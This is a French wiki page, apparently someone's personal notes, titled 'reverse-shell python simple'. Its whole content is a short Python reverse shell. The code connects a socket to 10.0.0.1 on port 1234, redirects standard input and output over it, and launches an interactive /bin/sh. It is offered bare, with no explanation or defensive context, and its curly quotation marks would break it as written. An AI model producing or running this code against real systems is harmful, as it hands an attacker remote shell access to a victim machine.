Outils d'utilisateurs

Outils du Site


reverse-shell_ptyhon

reverse-shell python simple

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“10.0.0.1”,1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([”/bin/sh”,”-i”])

reverse-shell_ptyhon.txt · Dernière modification: 2021/01/12 16:17 par timruff